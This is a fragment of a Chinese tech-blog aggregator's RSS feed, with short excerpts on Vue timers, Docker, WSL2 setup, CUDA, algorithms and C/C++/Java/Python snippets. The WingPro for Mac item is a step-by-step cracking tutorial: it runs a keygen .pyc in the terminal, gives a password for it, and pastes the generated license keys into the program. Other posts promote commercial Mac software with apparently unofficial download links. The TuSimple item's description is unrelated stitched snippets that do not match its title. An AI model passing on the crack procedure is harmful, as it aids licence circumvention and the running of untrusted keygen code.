      <pubDate>Tue, 03 Oct 2023 18:44:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4cb148c539f95862ca05acccaee9c32/</guid>
      <description>解决的一个问题分享。我的需求是从特定的页面进入当前页面会执行一个定时器来增加阅读人数，当进入该页面15秒后浏览人数会增加1。&#xA;话不多说直接上代码。先在methods里定义一个定时器方法和一个修改浏览人数方法。&#xA;​ methods: { // 增加阅读人数 setpeople(){ console.log(&#39;定时器开启&#39;); // overTimer 这个值可以写在data里面 //也可以直接用 const overTimer = setTimeout(() =&amp;gt;{},15000) this.overTimer = setTimeout(() =&amp;gt; { this.artical_peo = this.artical_peo + 1 this.setpeo() }, 15000) }, // 修改阅读人数 setpeo(){ let params = `artical_peo=${this.artical_peo}&amp;amp;&amp;amp;id=${this.id}` this.axios.put(&#39;/read&#39;,params).then(res=&amp;gt;{ // console.log(res); }) }, 写完之后要用到一个钩子函数beforeRouteEnter来进行路由的相关操作&#xA;// 超时定时器 overTimer: 15000, sname:&#39;&#39; } }, // 监测路由跳转 beforeRouteEnter (to, from, next) { console.log(&#39;要跳到的页面&#39;,to.name) console.log(&#39;从那个页面跳过来&#39;,from.name) // console.log(next) next(vm =&amp;gt;{ //这里把获取到的from.name给到data里面定义的sname vm.sname = from.name // console.</description>
    </item>
    <item>
      <title>导出docker镜像并压缩、解压并导入镜像</title>
      <link>https://bchobby.github.io/posts/5953fb15c100720b920d4dc1593c9aac/</link>
      <pubDate>Tue, 03 Oct 2023 17:20:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5953fb15c100720b920d4dc1593c9aac/</guid>
      <description>导出镜像并压缩：&#xA;docker save &amp;lt;myimage&amp;gt;:&amp;lt;tag&amp;gt; | gzip &amp;gt; &amp;lt;myimage&amp;gt;_&amp;lt;tag&amp;gt;.tar.gz 解压并导入镜像：&#xA;gunzip -c &amp;lt;myimage&amp;gt;_&amp;lt;tag&amp;gt;.tar.gz | docker load 2022年10月21日：&#xA;我这边再增加一个例子：&#xA;docker save centos:latest -o /root/centos_latestimage docker rmi docker:latest docker images docker load -i /root/centos_latestimage docker images 还有一个问题需要注意的是：&#xA;对于容器，可以使用import和export 进行导入导出操作。&#xA;对于已有镜像，可以使用docker命令行的save和load命令来创建压缩包tarball。</description>
    </item>
    <item>
      <title>win10系统下载安装wsl2</title>
      <link>https://bchobby.github.io/posts/26dc2b389a1414c0a1b05374e94af0a7/</link>
      <pubDate>Tue, 03 Oct 2023 16:36:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26dc2b389a1414c0a1b05374e94af0a7/</guid>
      <description>1.查看电脑版本 在cmd里键入“winver”，必须是Windows 10 版本 2004 及更高版本（内部版本 19041 及更高版本）及win11&#xA;2.启用所需Windows功能 控制面板--程序--程序和功能--启用或者关闭Windows功能--勾选虚拟机平台和适用于Linux的Windows子系统--重启电脑&#xA;tips：&#xA;若无法开启适用于linux的windows的子系统和虚拟机平台，请参考链接：win10无法开启适用于linux的windows的子系统和虚拟机平台-CSDN博客&#xA;3.启用虚拟功能 右键开始--以管理员身份打开 PowerShell 并运行：&#xA;dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart 运行完成后需重启电脑以完成安装&#xA;4.下载 Linux 内核更新包 下载地址：&#xA;https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi&#xA;直接下载安装即可&#xA;双击安装包&#xA;5.设置默认WSL版本 在PowerShell或者cmd使用下面的命令设置默认版本 （我设置的是版本wsl2）&#xA;wsl --set-default-version 2 6.安装Linux发行版 在微软应用商店中搜索并下载Ubuntu20.04&#xA;在power shell里使用wsl -l -v命令查看安装版本是否正确（VERSION为2） 7.更改安装包位置 使用微软商店下载的应用安装包会默认保存在C:\Program Files\WindowsApps目录下。&#xA;如果发现没有权限打开C:\Program Files\WindowsApps文件夹&#xA;可以用PowerShell（管理员权限运行）的命令打开，输入代码：&#xA;cd &#34;C:\Program Files\WindowsApps&#34; Ubuntu安装包默认保存在WindowsApps目录下的某个文件夹里。文件夹名称的开头应该类似于CanonicalGroupLimited。&#xA;寻找当前目录下以CanonicalGroupLimited开头的文件夹：&#xA;dir CanonicalGroupLimited* 可能会有多个类似的文件夹，依次查看这些文件夹：&#xA;dir CanonicalGroupLimited（不要回车执行） 然后按多次tab键，可以在这些类似的文件夹名之间切换。切换到你想要查看的文件夹，回车执行命令。如果文件夹里面有ubuntu&amp;lt;版本号&amp;gt;.exe文件，这就是我们要找的文件夹。&#xA;复制安装包和相关文件到想要的安装位置&#xA;cp &amp;lt;安装包所在的文件夹名&amp;gt;\* &amp;lt;你想要安装ubuntu文件夹的路径&amp;gt; cp .</description>
    </item>
    <item>
      <title>Overloud TH-U Complete for Mac：演绎您的音乐世界</title>
      <link>https://bchobby.github.io/posts/25d5cce0e24c2f5b6774ebb5a9e4803f/</link>
      <pubDate>Mon, 02 Oct 2023 19:48:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25d5cce0e24c2f5b6774ebb5a9e4803f/</guid>
      <description>Overloud TH-U Complete for Mac是一款功能强大的吉他谱曲软件，可以让您在Mac电脑上轻松进行吉他模拟、录音和混音等操作，创作属于自己的音乐作品。&#xA;Overloud TH-U Complete for Mac提供了丰富的吉他模拟和音效库，涵盖了多种吉他放大器、箱体、效果器和预设等。通过简单的拖放操作，你就可以在音轨中添加自己喜欢的模拟器和效果器，并实时预览效果。同时，它还支持多轨录音和混音，让您能够更加灵活地处理音频数据和声效。&#xA;除了模拟和录制功能，Overloud TH-U Complete for Mac还提供了创新的Smart MIDI功能，让您能够在吉他演奏过程中，快速生成符合和声的MIDI音乐片段，便于在数字音乐工作站中编辑和改进。此外，这款软件还支持AAX、AU和VST插件格式，可以轻松集成到您的数字音乐工作站中，方便快捷。&#xA;Overloud TH-U Complete for Mac的界面设计简洁明了，操作起来非常直观。你可以根据自己的喜好进行主题和布局的选择，使得谱曲过程更加舒适。此外，它还支持导出高质量音频文件，支持多种常用格式。您能够轻松分享自己的音乐作品到社交媒体或在线音乐平台上。&#xA;总结来说，Overloud TH-U Complete for Mac是一款功能强大、操作简便的吉他谱曲工具，让您能够更加专注于音乐创作，为您的音乐世界增添无限灵感和可能性。无论您是独立创作者还是团队合作，Overloud TH-U Complete for Mac都能帮助您诠释您的音乐梦想，成为一名真正的音乐家。立即下载使用Overloud TH-U Complete for Mac，开启您的音乐之旅！&#xA;安装：Overloud TH-U Complete for Mac(吉他谱曲软件)v1.4.20版</description>
    </item>
    <item>
      <title>Windows/Linux双系统卸载Ubuntu</title>
      <link>https://bchobby.github.io/posts/3ef83b7d501e3fe9a60d56e2748d5f9a/</link>
      <pubDate>Mon, 02 Oct 2023 19:03:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ef83b7d501e3fe9a60d56e2748d5f9a/</guid>
      <description>参考：双系统下完全卸载ubuntu</description>
    </item>
    <item>
      <title>C&#43;&#43;源文件中使用EasyX图形库往屏幕上输出图片</title>
      <link>https://bchobby.github.io/posts/df08e73861b37b2a97210e7ba9852dea/</link>
      <pubDate>Mon, 02 Oct 2023 18:03:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df08e73861b37b2a97210e7ba9852dea/</guid>
      <description> #include&amp;lt;graphics.h&amp;gt;//引入EasyX图形库的头文件 IMAGE a;//声明了一个图片类型的变量 int main() { loadimage(&amp;amp;a, &#34;res/bg.jpg&#34;);//往这个图片类型的变量中导入图片 initgraph(1400, 600);//创建一个绘图窗口 putimage(0, 0, &amp;amp;a);//将这个图片类型的变量中的图片打印到绘图窗口中 system(&#34;pause&#34;);//暂停程序，使绘图窗口和图片一直出现在屏幕上 return 0; } </description>
    </item>
    <item>
      <title>python实现对森林生物量进行随机森林回归预测</title>
      <link>https://bchobby.github.io/posts/baa0123fcb467df7cfa9185ce9a3605c/</link>
      <pubDate>Mon, 02 Oct 2023 16:09:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baa0123fcb467df7cfa9185ce9a3605c/</guid>
      <description>使用随机森林回归预测森林生物量（python） 随机森林算法的基本思想是基于多颗决策树的集成学习过程，使用场景广泛，一般的分类回归问题都可以使用。我们以光学影像为例，来估测森林生物量。&#xA;建立回归关系需要满足的条件 1、线性关系：回归关系应该是线性的，即自变量和因变量之间的关系应该是线性的。&#xA;2、独立性：自变量之间应该是独立的，即自变量之间的相关性应该尽可能小，自变量之间不应该存在多重共线性。&#xA;3、正态性：残差应该是正态分布的，即残差应该符合正态分布的假设。&#xA;4、同方差性：残差的方差应该是恒定的，即残差的方差应该在自变量的不同取值下是相同的。&#xA;5、随机性：误差项应该是随机的，即误差项应该是不可预测的，不能被自变量解释。&#xA;使用传统机器学习方法估测森林生物量的过程 基本思想：由于遥感影像一般可以覆盖整个研究区，而地面调查工作一般不会对整个研究区进行展开，所以就可以利用遥感影像和地面调查数据建立回归关系，然后再利用所建立的这个关系对未进行地面调查的地方进行预测。&#xA;指标筛选：建立回归关系首先要满足指标变量和预测变量之间存在相关性。先从光学影像中提取指标变量，单波段或者波段组合运算啥的，可以参考相关论文来选。&#xA;指标提取：在同一张影像中提取的自变量之间难免存在共线性问题，但也不是不能减少其对模型的影响，例如：使用PCA对指标进行降维；对指标进行逐步回归或者相关性分析提取对生物量解释程度很高的几个变量作为自变量；在损失函数中添加惩罚项来降低模型复杂度，从而缓解指标共线性问题；使用树模型，例如典型的随机森林，由于随机森林在建立决策树过程是随机选取指标以及特征，这种随机性可以使得模型对于共线性较弱的特征更加敏感，从而避免了共线性的影响；随机森林模型在建立过程中是通过计算特征调用率，建立分裂树信息熵减少量等来判断特征对于预测指标的重要性，可以剔除一些重要性较低的指标从而提高模型的泛化能力。&#xA;建立随机森林回归 提取样地点对应指标变量的像元值作为自变量，样地点生物量作为因变量后就可以建立随机森林模型并对整个研究区生物量就行预测，具体实现过程如下：&#xA;数据准备 import pandas as pd import numpy as np from matplotlib import pyplot as plt from sklearn.ensemble import RandomForestRegressor from sklearn.model_selection import train_test_split from sklearn.metrics import mean_squared_error, r2_score from pyswarm import pso import rasterio # 读取Excel表格数据 data = pd.read_excel(r&#39;D:\code\3s\redata.xlsx&#39;, sheet_name=&#39;Sheet3&#39;) y = data.iloc[:, 0].values # 生物量 X = data.iloc[:, 1:].values # 指标变量 # 分割数据集为训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.</description>
    </item>
    <item>
      <title>CUDA、cudNN 、CUDAToolKit三者关系</title>
      <link>https://bchobby.github.io/posts/c425b1f9f95e87cae50f7074c1b921ad/</link>
      <pubDate>Mon, 02 Oct 2023 11:58:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c425b1f9f95e87cae50f7074c1b921ad/</guid>
      <description> cudatoolkit和cuda有关系吗 CUDA 是 NVIDIA 推出的一种并行计算平台和编程模型，可以在 NVIDIA GPU 上运行 C/C++ 代码。&#xA;CUDA Toolkit 是 NVIDIA 提供的一套开发工具，它包含了用于开发 CUDA 应用程序所需的各种工具，如编译器、调试器和库。&#xA;因此，CUDA 和 CUDA Toolkit 是有关系的，CUDA 是并行计算平台和编程模型，而 CUDA Toolkit 是一套开发工具。&#xA;cuda cudnn cudatoolkit Cuda、Cudnn和Cudatoolkit是一些用于GPU编程和深度学习的工具和库。&#xA;Cuda是由NVIDIA开发的一个并行计算平台和编程模型，它允许开发人员使用C/C++等编程语言来利用GPU的并行计算能力。&#xA;Cudnn是NVIDIA提供的一个深度神经网络加速库，它包含了一系列高性能的基本函数和算法，用于加速深度学习任务的计算。它可以与Cuda一起使用，提供了针对深度学习任务的高效实现。&#xA;Cudatoolkit是NVIDIA提供的一个开发工具集，包含了一系列用于GPU编程的工具和库。其中包括了Cuda和Cudnn，还包括其他一些用于并行计算和高性能计算的库。Cudatoolkit的目的是为开发人员提供方便操作GPU的工具和库，避免他们需要重复编写底层功能。&#xA;在选择Cudatoolkit的版本时，需要考虑与所使用的驱动程序版本的兼容性。通常情况下，Cuda驱动是向下兼容的，即高版本的驱动可以兼容低版本的Cudatoolkit。根据具体的驱动版本，可以在相关文档或表格中查找兼容的Cudatoolkit版本。例如，如果驱动版本是525.116.04，可以选择Cudatoolkit版本小于等于12.0。&#xA;总结起来，Cuda、Cudnn和Cudatoolkit是用于GPU编程和深度学习的工具和库，它们可以帮助开发人员充分利用GPU的并行计算能力并加速深度学习任务的计算。在选择Cudatoolkit的版本时，需要考虑与所使用的驱动程序版本的兼容性。 </description>
    </item>
    <item>
      <title>10月2日作业</title>
      <link>https://bchobby.github.io/posts/0801af7f45883d677df5e164ef118b57/</link>
      <pubDate>Mon, 02 Oct 2023 09:57:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0801af7f45883d677df5e164ef118b57/</guid>
      <description>1、&#xA;2、&#xA;3、</description>
    </item>
    <item>
      <title>算法刷题总结 (八) 前缀和</title>
      <link>https://bchobby.github.io/posts/cf6ed809bd7bb674ad52324d17cec708/</link>
      <pubDate>Sun, 01 Oct 2023 23:11:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf6ed809bd7bb674ad52324d17cec708/</guid>
      <description>算法总结8 前缀和 一、前缀和的概念1.1、什么是前缀和？* 内置函数accumulate 1.2、常见类型1.2.1、求数组前i个数之和1.2.2、求数组的区间和 二、经典例题2.1、求数组前i个数之和525. 连续数组 2.2、求数组的区间和1109. 航班预订统计 - 差分303. 区域和检索 - 数组不可变643. 子数组最大平均数 I - （隐藏的前缀和）304. 二维区域和检索 - 矩阵不可变 - （二维区间）560. * 和为 K 的子数组 - 前缀和+哈希表974. * 和可被 K 整除的子数组 - （前缀和优化/哈希表优化） 2.3、求数组的所有子数组的区间和 - （*前缀和的前缀和）* 子数组的所有和910. 巫师的总力量和1508. 子数组和排序后的区间和 2.4、其他变体554. 砖墙1589. 所有排列中的最大和 三、练习2857. 统计距离为 k 的点对 参考 一、前缀和的概念 1.1、什么是前缀和？ 前缀和，英文是 preSum。是面试中经常考到的题目，并且难度也不大，我们直接从题目入手开始讲解。&#xA;首先我们看看一道很经典的简单题 1480. 一维数组的动态和，在没接触过前缀和的时候，我们对这道题的解法，很可能采用双重循环：&#xA;class Solution: def runningSum(self, nums: List[int]) -&amp;gt; List[int]: preSum = [] # 选取每一个索引，当做下一层循环的结尾 for i in range(len(nums)): # 用来记录总和 su_m = 0 # 从0开始到i求和 for j in range(i+1): su_m+=nums[j] # 添加到结果 preSum.</description>
    </item>
    <item>
      <title>c语言中的for循环</title>
      <link>https://bchobby.github.io/posts/05f058479bb90d00180ef3ead39a9dbf/</link>
      <pubDate>Sun, 01 Oct 2023 22:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05f058479bb90d00180ef3ead39a9dbf/</guid>
      <description> #include &amp;lt;stdio.h&amp;gt; //for循环 /*for(表达式1;表达式2;表达式3) * { * //复合语句，循环体 * 语句块 * } * 执行顺序： * 先执行表达式1且执行一次，然后执行表达式2，如果表达式2成立则执行语句 * 块，当语句块执行完毕之后接着执行表达式3，然后执行表达式2，如果表达 * 式2成立，则继续执行语句块，一系列他，直到表达式2不成立循环结束。 */ int main() { int i; int sum=0; for (i=1;i&amp;lt;=100;i++) { sum += i; } printf(&#34;sum=%d\n&#34;,sum); return 0; } </description>
    </item>
    <item>
      <title>【脚本语言】Shell Script - 终端打印指令</title>
      <link>https://bchobby.github.io/posts/66c44a9c684c183fb85c14fe9a4e38e3/</link>
      <pubDate>Sun, 01 Oct 2023 19:35:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66c44a9c684c183fb85c14fe9a4e38e3/</guid>
      <description>本文共计1559字，预计阅读时间6分钟&#xA;目录&#xA;终端打印&#xA;基础语法&#xA;有趣的拓展&#xA;在echo中使用转义序列&#xA;输出彩色文本&#xA;终端打印 终端是交互式工具，在终端中打印文本是绝大多数脚本中的基本任务。&#xA;基础语法 终端打印有两种方法输出文本，分别是 echo 和 printf (就是C/C++中的那个)。&#xA;在默认情况下，echo在每次调用时会添加一个换行符。&#xA;输出文本的方式也有很多种：&#xA;可以在字符串上加上双引号，例如&#xA;echo &#34;Hello world!&#34; 也可以直接输入文本，同样可以达到相同效果&#xA;echo Hello world! 另外还可以使用单引号&#xA;echo &#39;Hello world!&#39; 但这三种打印方法都有一定局限性&#xA;使用不带引号的echo时，无法在文本中使用分号（；），因为分号在Bash Shell中被用作定界符。例如：&#xA;echo Hello;world 这句话将在输出完&#34;Hello&#34;后结束，并查找名为world的指令并执行。&#xA;还有一种可用于终端打印的命令是printf(是的，就是C语言中的那个printf)&#xA;printf &#34;Hello world&#34; 默认情况下,printf并不像echo命令那样会自动添加换行符，若需要则需手动添加。同时，Bash中的printf指令同C语言中一样，可以控制输出的格式（比如字符串的宽度、左右对齐方式等），比如下列脚本：&#xA;#!/bin/bash #文件名: printf.sh printf &#34;%-5s %-10s %-4s\n&#34; No. Name Mark printf &#34;%-5s %-10s %-4.2f\n&#34; 1 Curry 92.32 printf &#34;%-5s %-10s %-4.2f\n&#34; 2 James 94.87 printf &#34;%-5s %-10s %-4.2f\n&#34; 3 Kevin 91.</description>
    </item>
    <item>
      <title>10月1日作业</title>
      <link>https://bchobby.github.io/posts/6e34568e73cc857ecbf326b837e77c74/</link>
      <pubDate>Sun, 01 Oct 2023 15:54:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e34568e73cc857ecbf326b837e77c74/</guid>
      <description>1、&#xA;2、&#xA;3、&#xA;4、&#xA;5、&#xA;6、</description>
    </item>
    <item>
      <title>黄金矿工（Java）</title>
      <link>https://bchobby.github.io/posts/9c85f89d80e90675f229650e64a1a881/</link>
      <pubDate>Sun, 01 Oct 2023 14:44:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c85f89d80e90675f229650e64a1a881/</guid>
      <description>目录&#xA;1、十五个功能点&#xA;2、基本功能的实现&#xA;2、1 窗体绘制&#xA;2、2 图片载入和绘制&#xA;2、3 红线的绘制&#xA;2、4 创建金块/石块&#xA;2、5 双缓存技术&#xA;2、6 抓取判定&#xA;3、界面展示&#xA;1、十五个功能点 1、窗体绘制&#xA;2、钩爪往返旋转&#xA;3、物体批量绘制&#xA;4、双缓存解决闪动问题&#xA;5、点和矩形碰撞检测&#xA;6、多种类物体随机生成&#xA;7、物体堆叠检测&#xA;8、多种类抓取速度判定&#xA;9、积分设置&#xA;10、关卡设置&#xA;11、重新开始&#xA;12、单关卡倒计时&#xA;13、金块的快速拉取&#xA;14、石块爆破&#xA;15、商店购物&#xA;2、基本功能的实现 2、1 窗体绘制 创建一个Java项目，命名为The Gold Miner ，在项目下创建GameWin类。让GameWin类继承 JFrame类。这样才具有创建窗口，监听鼠标键盘事件的功能。&#xA;JFrame窗体是一个容器，它扩展了java.awt.Frame类，是Swing程序中各个组件的载体。在开发应用程序时，可以通过继承javax.swing.JFrame类来创建一个窗体对象，这个窗体继承了JFrame类自带的控制窗体的按钮，如“最大化”“最小化”“关闭”等，可以在窗体中添加组件以及为组件设置事件。&#xA;设置窗口信息：&#xA;●设置窗体可见，setVisible(true);&#xA;●设置窗口大小，setSize(500,500);&#xA;●设置窗口位置居中，setLocationRelativeTo(null);&#xA;●设置窗口标题：setTitle(&#34;黄金矿工&#34;)；&#xA;●关闭窗口的方法：setDefaultCloseOperation(EXIT_ON_CLOSE); //点击关闭按钮时，隐藏窗口&#xA;2、2 图片载入和绘制 用Image方法将图片载入程序当中。&#xA;例：Image bg =Toolkit.getDefaultToolkit().getImage(&#34;此处放置图片的路径（imgs/bg.jpg）&#34;);&#xA;调用 drawImage 绘制图片：&#xA;g.drawImage(bg,0,0,null); //起始坐标设置为0，0。&#xA;2、3 红线的绘制 drawLine() 是划线的方法。需要传入四个参数即起点坐标和终点坐标。&#xA;setColor(Color.red) //将绳子设置为红色。&#xA;红线摇摆情况：&#xA;●红线在水平面下做往返运动，可以发现，起点坐标是确定的，线段长度是确定的，终点坐标随角度的变化而变化。那么我们可以根据三角函数，求得其终点坐标，如上图所示。&#xA;●角度设置为0-π。操作n实现角度的变化。&#xA;红绳有摇摆、抓取、收回三种状态。设置一个鼠标事件（点击事件），通过鼠标事件来改变参数，继而改变红绳的状态。使用一个switch语句，如果状态时0则左右摇摆，如果状态为1（右键），则不停延长（增加线的长度）。如果是状态2，则收回（即线长变短）。</description>
    </item>
    <item>
      <title>Mac上如何修复损坏的音频？试试iZotope RX 10，对音频进行处理，提高音频质量！</title>
      <link>https://bchobby.github.io/posts/0e8a0441450b777ccf200bca9782ba10/</link>
      <pubDate>Sun, 01 Oct 2023 11:02:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e8a0441450b777ccf200bca9782ba10/</guid>
      <description>iZotope RX 10是一款由iZotope公司开发的音频修复和编辑软件。它被广泛用于电影、电视、音乐和游戏等行业的音频后期制作，以及声音设计和修复工作。&#xA;在RX 10中，iZotope从头开始重新设计了全新的Repair Assistant修复助手，并且推出了相应的修复助手插件。这个插件能够智能地识别噪音和其他问题，只需要点击学习（learn）插件就可以自动识别音频素材，可以自动分析并自适应处理咝咝声、混响、人声、噪音等音频问题，并可以一键控制处理。&#xA;此外，RX 10还提供了许多其他的修复工具，例如去嗡嗡声中的自适应动态模式，新的频谱恢复可以将低质量的音频重新合成为高质量，解决因录制问题产生的基本上不可修复的问题。选区羽化工具可以在音频中选择特定的区域进行羽化处理，使得音频过渡更加自然。文本导航+多说话人检测功能可以自动翻译音频并能区分多人对话。&#xA;总的来说，iZotope RX 10是一款非常强大的音频修复和编辑软件，提供了许多先进的工具和算法，可以帮助用户快速有效地处理各种音频问题。&#xA;Mac版：点此下载&#xA;win版：点此下载</description>
    </item>
    <item>
      <title>Python集成开发环境（IDE）：WingPro for Mac</title>
      <link>https://bchobby.github.io/posts/33d523b763de7166a76e49cc6c9f61ca/</link>
      <pubDate>Sun, 01 Oct 2023 10:52:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33d523b763de7166a76e49cc6c9f61ca/</guid>
      <description>WingPro for Mac是一款Python集成开发环境（IDE）软件，它提供了一系列强大的工具和功能，帮助Python开发人员提高开发效率和质量。&#xA;WingPro for Mac拥有直观的用户界面和强大的调试器，可以帮助用户快速定位问题和修复错误。它还提供了智能代码补全、语法高亮、代码折叠等功能，使编写Python代码更加方便和快速。此外，WingPro for Mac还支持各种Python框架和库，包括Django、Flask、Pyramid等，使得开发人员可以更加轻松地编写Python应用程序。&#xA;总的来说，WingPro for Mac是一款非常实用的Python开发工具，为开发人员提供了强大的功能和工具，帮助他们更加高效地编写Python代码。&#xA;WingPro mac版破解教程 软件下载完成后，先双击python.pkg根据提示进行安装&#xA;将左侧的WingPro拖到右侧的应用程序进行安装&#xA;运行wingpro ，点击accept,选择Activate a purchased license，先放一边待用。&#xA;将镜像包中的wingpro破解工具keygen9.pyc拖到桌面&#xA;打开终端，输入python3注意python3后面需加一个空格&#xA;把wingpro破解工具拖进终端并回车&#xA;提示输入密码，输入avh.world后回车&#xA;此时终端会生成一串wingpro注册码。&#xA;把wingpro注册码复制到软件注册页面。如若不行，重新启动终端重试！ wingpro注册码输入之后请点击continue&#xA;把wingpro软件中生成的request code复制到终端中，然后点击回车。&#xA;终端会生成另一串WingIDE注册密钥，把WingIDE密钥复制到软件注册页面的正确位置中，再点击Continue&#xA;wingpro mac 破解版提示您注册成功！！</description>
    </item>
    <item>
      <title>Cinema 4D 2024更新， 比旧版速度更快！</title>
      <link>https://bchobby.github.io/posts/a95441cea2a926ba376553c61e9e25ac/</link>
      <pubDate>Sun, 01 Oct 2023 10:46:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a95441cea2a926ba376553c61e9e25ac/</guid>
      <description>Cinema 4D 2024 for Mac更新至v2024.0.2版本，其中Cinema 4D核心得到了全面优化，增强了可调的Pyro模拟、增强了真实镜头耀斑和色彩校正工作流程。&#xA;Cinema 4D 2024变得更加强大，在交互式播放方面有了巨大的性能改进，对刚性体模拟进行了增强，并提供了更具“艺术指导性”的Pyro工作流程。通过Trapcode 2024，艺术家现在可以使用新的燃烧功能创建逼真的热力动力学效果，并使用“父级行程”功能创建粒子轨迹。&#xA;VFX 2024在光照控制方面开辟了新的领域，并对备受欢迎的真实镜头耀斑进行了多项增强。通过Magic Bullet 2024，色彩校正变得比以往更容易。此外，一系列新的预设使艺术家拥有更多创作自由。Universe 2024还提供了许多工作流程改进，并提供新的预设。&#xA;在多核CPU上使用MatCap和Distorter着色器时，Redshift为用户提供了更多创作自由，并进行了性能改进。作为对Maxon One订户的特别款待，我们带来了迄今为止最全面的Maxon Capsules，包括由Rocket Lasso提供的新样条修改器、Redshift金属和汽车漆材质，以及用于室内和室外可视化的即用型3D模型。&#xA;一、Cinema 4D 2024 Cinema 4D 2024为最复杂的创意场景提供了无与伦比的速度和性能。刚体模拟现在可以与所有现有力、火焰、布料和软体进行交互。火焰兵闪耀着一个热门的新功能，允许从粒子和矩阵中发射火焰。新的顶点法线工具为艺术家提供了无与伦比的精度，以达到完美的表面。&#xA;Cinema 4D 2024的速度是以前版本的两倍多，通过Maxon全新内核的强大功能，优化了速度和性能。&#xA;由于在Cinema 4D的统一模拟系统中添加了刚体模拟，实体对象现在可以与场景中的所有模拟类型进行交互，无论是软体，布料，绳索还是火焰兵。&#xA;Pyro 现在为美术师提供了更精确的控制，以指导他们的模拟并确保它符合他们的愿景。通过将火焰兵标签添加到标准粒子发射器中，考虑粒子几何形状和矩阵克隆器，他们现在可以发射火焰兵。这使艺术家能够创建带有火焰、烟雾轨迹和爆炸的电影场景，或在夜空中可视化美丽的烟花。&#xA;在UpRes的帮助下，创意人员可以在项目的艺术指导和概念阶段使用较低分辨率的模拟来加快周转速度，然后以完整的质量渲染模拟以进行最终输出。&#xA;Cinema 4D 2024引入了新的顶点法线控件，使艺术家可以完全控制调整顶点和多边形法线以消除阴影伪影。&#xA;Cinema 4D 2024中的新建模工具将使处理复杂任务变得轻而易举。“选择图案”允许艺术家一键在网格表面上重复选择。投影变形器为用户提供了快速控制，并允许他们将点从一个对象移动到另一个对象的任何方向。&#xA;Cinema 4D 2024 中的节点 UI 已改版。除了改善整体外观外，新的注释功能还通过节点编辑器中的直接注释大放异彩，艺术家可以使用这些注释来记录他们的节点网络。&#xA;二、Red Giant 2024 Red Giant的最新更新包括对Trapcode，Magic Bullet，VFX和Universe工具集的更新。Trapcode 2024 允许艺术家创建逼真的热动力学，这要归功于特定流体动力学模拟扩展。VFX 2024 在光照控制方面开辟了一个新的维度，并对流行的真实镜头光晕进行了多项增强。借助 Magic Bullet 2024，色彩校正比以往任何时候都更容易 - 加上大量新的预设，为设计师提供了更多的创作自由，Universe 2024 提供了大量新的预设。&#xA;此外，Red Giant中的所有工具现在都有中文和日语版本，使艺术家更容易开始使用母语的软件。&#xA;三、Trapcode 2024 燃烧是特定流体动力学组中的新参数子集，为模拟添加了真实的热力学属性。燃烧使艺术家能够直接在After Effects中创建令人信服的烟火效果，例如用对位置数据做出真实反应的火焰点燃演员手中未点燃的火炬。&#xA;Stroke from Parent是一个新的发射器类型选项，也是Emit from Parent的替代方案。由于“来自父项的描边”的行为更像是3D描边，因此艺术家可以在父项粒子后面创建无缝轨迹。</description>
    </item>
    <item>
      <title>听图森CTO王乃岩浅谈从L2到L4商用车自动驾驶中的规模化</title>
      <link>https://bchobby.github.io/posts/d8398e5277c562b79ceadb40b58767a5/</link>
      <pubDate>Sat, 30 Sep 2023 21:09:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8398e5277c562b79ceadb40b58767a5/</guid>
      <description>题解 | #4bit超前进位加法器电路#&#xA;`timescale 1ns/1nsmodule lca_4( input [3:0] A_in , input [3:0] B_in&#xA;题解 | #24点游戏算法#&#xA;#include &amp;lt;iostream&amp;gt;using namespace std;#include &amp;lt;bits/stdc++.h&amp;gt;vecto&#xA;题解 | #信号反转输出#&#xA;`timescale 1ns/1nsmodule top_module( input [15:0] in, output [15:0] out);genv&#xA;题解 | #牛客网连续练习题目3天及以上的用户#&#xA;import sysimport pandas as pd fm=pd.read_csv(&#39;nowcoder.csv&#39;,sep=&#39;,&#39;)#预处理筛选fm.dat&#xA;题解 | #查看不同年龄段的用户明细#&#xA;SELECT device_id, gender, (CASE WHEN age&amp;lt;20 THEN &#39;20岁以下&#39; WHEN age&amp;gt;=&#xA;马康磊的人生经历：一个令人惊叹的故事。&#xA;我一直在想：我希望做个什么样的人？我能做个什么样的人？我应该做个什么样的`人？人生几十年！是一个绚丽、悠长的梦。聚也匆匆，散也匆匆。等到白发于我们的那一年，梦也&#xA;题解 | #判断链表中是否有环(哈希表)#&#xA;/** * Definition for singly-linked list. * struct ListNode { * int val; * 题解 | #顺时针打印矩阵#</description>
    </item>
    <item>
      <title>Jmeter生成可视化的HTML测试报告</title>
      <link>https://bchobby.github.io/posts/935dbe8e6e4a847a4212b3e080ef3933/</link>
      <pubDate>Sat, 30 Sep 2023 21:04:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/935dbe8e6e4a847a4212b3e080ef3933/</guid>
